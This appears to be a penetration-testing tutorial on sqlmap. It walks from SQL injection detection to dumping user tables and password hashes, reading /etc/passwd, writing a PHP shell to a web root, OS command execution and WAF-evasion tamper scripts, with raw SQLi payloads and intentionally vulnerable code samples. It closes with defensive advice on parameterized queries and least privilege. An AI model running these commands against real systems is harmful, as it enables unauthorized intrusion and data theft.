SQL injection never really went away. Frameworks got better, ORMs became common, and prepared statements are now standard advice—but real apps still ship with unsafe query construction, legacy endpoints, and weird edge cases that turn “probably safe” into “definitely injectable.” That’s where sqlmap earns its reputation. It’s the go-to automation tool for detecting, confirming, and exploiting SQL injection vulnerabilities in a controlled, repeatable way. In this guide, we’ll walk from initial discovery to database enumeration, data extraction, and—where the environment allows it—operating system command execution and shell access. The goal is not “push button, get shell,” but understanding what sqlmap is doing, when to trust it, when to slow down, and how to defend against everything it automates.

What sqlmap Is and Why It Matters

sqlmap is an open-source SQL injection exploitation framework. It automates:

  • Detection of injectable parameters
  • Fingerprinting the backend DBMS
  • Enumerating databases, tables, columns, and users
  • Dumping data
  • Reading/writing files in some cases
  • Executing OS commands or spawning shells when database privileges and environment permit
  • Bypassing some filters, encodings, and WAF behaviors

It supports major database engines, including:

  • MySQL / MariaDB
  • PostgreSQL
  • Microsoft SQL Server
  • Oracle
  • SQLite

At a high level, sqlmap works by sending many crafted HTTP requests and observing differences in responses, timing, content length, status codes, redirects, and errors. It can test multiple SQLi classes:

  • Boolean-based blind
  • Time-based blind
  • Error-based
  • UNION-based
  • Stacked queries

This makes it extremely effective in ethical testing, but also noisy if used carelessly. Always use it only against systems you own or are explicitly authorized to assess.

Lab Setup and Safe Targeting

Before pointing sqlmap at anything, define scope and constraints:

  • Confirm written authorization
  • Identify test windows if production is involved
  • Rate-limit requests when needed
  • Avoid dumping unnecessary sensitive data
  • Prefer staging or lab replicas when possible

A deliberately vulnerable lab target might look like this:

http
GET /product?id=42 HTTP/1.1
Host: lab.local
User-Agent: Mozilla/5.0

And a vulnerable backend pattern might be:

php
<?php
$id = $_GET['id'];
$query = "SELECT name, price FROM products WHERE id = $id";
$result = mysqli_query($conn, $query);
?>

That direct interpolation is exactly what sqlmap loves.

First Contact: Basic Detection

The simplest starting point is a URL with a suspicious parameter:

bash
sqlmap -u "http://lab.local/product?id=42"

If the parameter is injectable, sqlmap will probe it with various payloads and report findings. Common signs in manual testing that a parameter is worth checking include:

  • Single quote causes an error:
    text
    /product?id=42'
  • Boolean differences:
    text
    /product?id=42 AND 1=1
    /product?id=42 AND 1=2
  • Time delay:
    text
    /product?id=42 AND SLEEP(5)

sqlmap automates this process and handles DB-specific syntax variations.

Useful Detection Flags

A more controlled invocation:

bash
sqlmap -u "http://lab.local/product?id=42" --batch --banner --current-user --current-db

What these do:

  • --batch: non-interactive mode, use defaults
  • --banner: grab DB banner/version if possible
  • --current-user: show DB user
  • --current-db: show current database

If you only want to test a specific parameter:

bash
sqlmap -u "http://lab.local/product?id=42&cat=7" -p id

This avoids wasting time on unrelated parameters.

Risk and Level

Two important tuning knobs:

bash
sqlmap -u "http://lab.local/product?id=42" --risk=3 --level=5
  • --level increases the number of tests and injection points checked
  • --risk increases the aggressiveness of payloads

Typical guidance:

  • Start with defaults
  • Increase when you suspect filtering or non-obvious injection
  • Be careful: higher settings mean more requests and potentially more impact

Working with POST Requests

A lot of real SQLi lives in forms, JSON APIs, and authenticated workflows.

Form POST Example

bash
sqlmap -u "http://lab.local/login" \
  --data="username=test&password=test" \
  -p username \
  --batch

If the vulnerable parameter is in the POST body, sqlmap can target it directly.

JSON Request Example

For APIs:

bash
sqlmap -u "http://lab.local/api/user" \
  --data='{"id":"42","verbose":true}' \
  --headers="Content-Type: application/json" \
  -p id

Sometimes the vulnerable input is in a cookie:

bash
sqlmap -u "http://lab.local/profile" \
  --cookie="session=abc123; user_id=42" \
  -p user_id

Authenticated Testing: Requests, Headers, and Sessions

Modern apps often require authentication before you can reach injectable endpoints. The cleanest way to test those is by capturing a real request and feeding it to sqlmap.

Using a Raw Request File

Save a request from Burp Suite or your proxy as request.txt:

http
POST /account/orders HTTP/1.1
Host: lab.local
Cookie: session=xyz987
Content-Type: application/x-www-form-urlencoded

order_id=1001&filter=active

Then run:

bash
sqlmap -r request.txt -p order_id --batch

This is usually more reliable than manually reconstructing headers.

Adding Custom Headers

bash
sqlmap -u "http://lab.local/api/orders?id=1" \
  --headers="Authorization: Bearer eyJ...; X-Requested-With: XMLHttpRequest"

Handling CSRF Tokens

Some apps rotate CSRF tokens per request. sqlmap can work with that in some scenarios:

bash
sqlmap -u "http://lab.local/form" \
  --data="id=1&csrf_token=abcd1234" \
  --csrf-token="csrf_token"

If the token is dynamic and tied to a session flow, using a request file or authenticated proxy workflow is often easier.

Enumerating the Database

Once injection is confirmed, enumeration begins.

Identify the DBMS

bash
sqlmap -u "http://lab.local/product?id=42" --fingerprint

sqlmap will try to determine whether it’s MySQL, PostgreSQL, MSSQL, etc. This matters because exploitation features differ by backend.

List Databases

bash
sqlmap -u "http://lab.local/product?id=42" --dbs

Example output might reveal:

  • information_schema
  • appdb
  • analytics

List Tables in a Database

bash
sqlmap -u "http://lab.local/product?id=42" -D appdb --tables

List Columns in a Table

bash
sqlmap -u "http://lab.local/product?id=42" -D appdb -T users --columns

Dump Data

bash
sqlmap -u "http://lab.local/product?id=42" -D appdb -T users --dump

Or dump only selected columns:

bash
sqlmap -u "http://lab.local/product?id=42" \
  -D appdb -T users -C id,username,email,password_hash --dump

Be disciplined here. In a real assessment, dump only what’s necessary to prove impact.

Understanding the Underlying Payloads

You should know what automation is trying under the hood.

Boolean-Based Blind

A classic test:

sql
1 AND 1=1
1 AND 1=2

If the page content changes based on truthiness, sqlmap can infer data one bit at a time.

Time-Based Blind

For MySQL:

sql
1 AND SLEEP(5)

For PostgreSQL:

sql
1; SELECT pg_sleep(5)--

For MSSQL:

sql
1; WAITFOR DELAY '0:0:5'--

If the app suppresses errors and returns identical pages, time delays can still confirm injection.

Error-Based

Some backends leak useful error messages:

sql
1 AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION(), 0x7e))

This can force version data into an XML parsing error on MySQL.

UNION-Based

If the original query output is reflected:

sql
1 UNION SELECT null, database(), user()--

sqlmap can automatically discover column counts and compatible types.

Speed, Stability, and Evasion

Real targets are messy. Networks are slow, WAFs interfere, and apps behave inconsistently.

Increase Threads Carefully

bash
sqlmap -u "http://lab.local/product?id=42" --threads=5

More threads can speed up enumeration, especially for blind extraction, but may destabilize sessions or trigger rate limits.

Use Time Delay Tuning

bash
sqlmap -u "http://lab.local/product?id=42" --time-sec=3

Useful when time-based tests are too slow or too noisy.

Fresh Queries and Session Handling

sqlmap caches results. To force re-testing:

bash
sqlmap -u "http://lab.local/product?id=42" --flush-session

Tamper Scripts

Tamper scripts modify payloads to bypass weak filters or WAF rules.

Example:

bash
sqlmap -u "http://lab.local/product?id=42" --tamper=space2comment,between

Common uses:

  • Replace spaces with comments
  • Obfuscate operators
  • Change casing or encodings

Important: tamper scripts are not magic WAF bypasses. They help against brittle filtering, not robust defenses.

Randomize User-Agent

bash
sqlmap -u "http://lab.local/product?id=42" --random-agent

Useful for blending in slightly better, though not a serious stealth feature.

Going Beyond Data: File Access and OS Command Execution

This is where people get excited—and where you need the most realism. sqlmap cannot always jump from SQLi to shell. It depends on:

  • DBMS type
  • DB user privileges
  • OS permissions
  • Whether stacked queries are supported
  • Whether dangerous DB features are enabled

Check DBA Privileges

bash
sqlmap -u "http://lab.local/product?id=42" --is-dba

If the DB user is highly privileged, post-exploitation options improve dramatically.

Read Files

In some scenarios:

bash
sqlmap -u "http://lab.local/product?id=42" --file-read="/etc/passwd"

On Windows:

bash
sqlmap -u "http://lab.local/product?id=42" --file-read="C:\\Windows\\win.ini"

This depends heavily on DB and filesystem permissions.

Write Files

Potentially possible in some DBMS/configurations:

bash
sqlmap -u "http://lab.local/product?id=42" \
  --file-write="shell.php" \
  --file-dest="/var/www/html/shell.php"

This is highly environment-specific and often blocked by permissions, path restrictions, or modern deployment models.

Execute OS Commands

bash
sqlmap -u "http://lab.local/product?id=42" --os-cmd="id"

Or on Windows:

bash
sqlmap -u "http://lab.local/product?id=42" --os-cmd="whoami"

If supported, sqlmap may leverage DB-native mechanisms such as:

  • MSSQL xp_cmdshell
  • PostgreSQL command execution avenues in privileged contexts
  • MySQL UDF-based techniques in very specific conditions

Interactive OS Shell

bash
sqlmap -u "http://lab.local/product?id=42" --os-shell

This gives a pseudo-shell interface through repeated command execution. It is not the same as a stable reverse shell, but it can be enough to validate impact.

SQL Shell

If OS command execution is unavailable, a SQL shell may still be useful:

bash
sqlmap -u "http://lab.local/product?id=42" --sql-shell

You can run queries directly:

sql
SELECT @@version;
SELECT user();
SHOW DATABASES;

Practical Walkthrough: From Parameter to Dump

Let’s simulate a realistic flow against a lab endpoint.

Step 1: Test the Endpoint

bash
sqlmap -u "http://lab.local/item?id=7" --batch

Suppose sqlmap reports boolean-based blind SQL injection on id.

Step 2: Fingerprint and Gather Basics

bash
sqlmap -u "http://lab.local/item?id=7" --banner --current-user --current-db --fingerprint

Example findings:

  • DBMS: MySQL 8.x
  • Current DB: shop
  • Current user: shopuser@localhost

Step 3: Enumerate Databases and Tables

bash
sqlmap -u "http://lab.local/item?id=7" --dbs
sqlmap -u "http://lab.local/item?id=7" -D shop --tables

Suppose tables include:

  • users
  • orders
  • products

Step 4: Inspect the `users` Table

bash
sqlmap -u "http://lab.local/item?id=7" -D shop -T users --columns

Columns returned:

  • id
  • username
  • email
  • password_hash
  • role

Step 5: Dump Targeted Data

bash
sqlmap -u "http://lab.local/item?id=7" \
  -D shop -T users \
  -C username,email,role,password_hash \
  --dump

Now you have enough evidence to document impact: unauthorized access to user records and password hashes.

Step 6: Check Privileges

bash
sqlmap -u "http://lab.local/item?id=7" --is-dba

If not DBA, shell-oriented escalation may be impossible or not worth pursuing. That’s a good moment to stop and report.

Common Pitfalls

Blindly Trusting Automation

sqlmap is powerful, but false positives and unstable results happen. Always verify important findings manually where possible.

Overly Aggressive Scans

Using --risk=3 --level=5 --threads=10 on a fragile production app is a great way to cause trouble. Start light.

Ignoring Application Logic

If the app requires a valid workflow, anti-CSRF token, or session state, sqlmap may fail unless you provide realistic requests.

Assuming SQLi Equals RCE

It doesn’t. Data theft is common. OS command execution requires extra conditions.

Dumping Too Much Data

In a professional engagement, least necessary access applies. Prove impact without exfiltrating everything.

Defensive Takeaways: How to Stop What sqlmap Automates

The best way to understand sqlmap is to build defenses that make it useless.

Use Parameterized Queries Everywhere

Unsafe:

python
query = f"SELECT * FROM users WHERE id = {user_id}"
cursor.execute(query)

Safe with Python psycopg2:

python
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

Safe with PHP PDO:

php
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);

Safe with Node.js and mysql2:

javascript
const [rows] = await conn.execute(
  "SELECT * FROM users WHERE id = ?",
  [id]
);

Avoid Dynamic SQL Construction

Even with an ORM, beware of:

  • Raw query APIs
  • String-concatenated filters
  • Dynamic ORDER BY or column selection without allowlists

For dynamic sort fields, use allowlists:

javascript
const allowedSort = ["name", "created_at", "price"];
const sort = allowedSort.includes(inputSort) ? inputSort : "name";
const sql = `SELECT name, price FROM products ORDER BY ${sort}`;

You cannot parameterize identifiers in the same way as values, so allowlisting matters.

Minimize Database Privileges

The application DB account should not be able to:

  • Read arbitrary files
  • Write to web roots
  • Execute OS commands
  • Create dangerous functions or extensions
  • Access unrelated schemas

Principle of least privilege turns many SQLi bugs from catastrophic to contained.

Disable Dangerous DB Features

Examples:

  • Disable xp_cmdshell on MSSQL unless absolutely required
  • Restrict file read/write capabilities
  • Limit extension creation on PostgreSQL
  • Avoid running DB services with excessive OS privileges

Handle Errors Safely

Don’t leak raw SQL errors to users. Log them server-side, return generic messages client-side.

Add Monitoring and Rate Controls

sqlmap often generates recognizable behavior:

  • Repeated requests with odd payloads
  • Time-based probes
  • Enumeration patterns across parameters

WAFs and RASP are not substitutes for secure coding, but they can help detect and slow active exploitation.

Test Your Own Apps

Use sqlmap internally against your staging environment. It’s a great regression check after fixing a SQLi issue.

Example CI-adjacent validation workflow:

  1. Reproduce the vulnerable request in a test environment
  2. Confirm sqlmap can exploit it before the fix
  3. Deploy the fix
  4. Re-run the same sqlmap command
  5. Verify injection is no longer detected

A Few High-Value Commands to Remember

Basic detection:

bash
sqlmap -u "http://target.local/page?id=1" --batch

POST body testing:

bash
sqlmap -u "http://target.local/login" --data="username=a&password=b" -p username

Use a raw request:

bash
sqlmap -r request.txt

Enumerate DBs:

bash
sqlmap -u "http://target.local/page?id=1" --dbs

List tables:

bash
sqlmap -u "http://target.local/page?id=1" -D appdb --tables

Dump a table:

bash
sqlmap -u "http://target.local/page?id=1" -D appdb -T users --dump

Interactive SQL shell:

bash
sqlmap -u "http://target.local/page?id=1" --sql-shell

Attempt OS shell:

bash
sqlmap -u "http://target.local/page?id=1" --os-shell

Final Thoughts

sqlmap is one of those tools that can make beginners feel powerful fast—but the real skill is knowing how to use it surgically. Good operators understand the HTTP request they’re attacking, the SQLi class they’re dealing with, the DBMS behavior underneath, and the practical limits of post-exploitation. Good defenders understand the same mechanics and design systems that shut them down at the root: parameterized queries, strict input handling, least-privileged database accounts, and safe operational defaults.

If you’re a developer, learn enough sqlmap to test your own assumptions. If you’re a junior security engineer, use it as an amplifier, not a crutch. The tool is excellent. Your judgment is what keeps the engagement accurate, safe, and useful.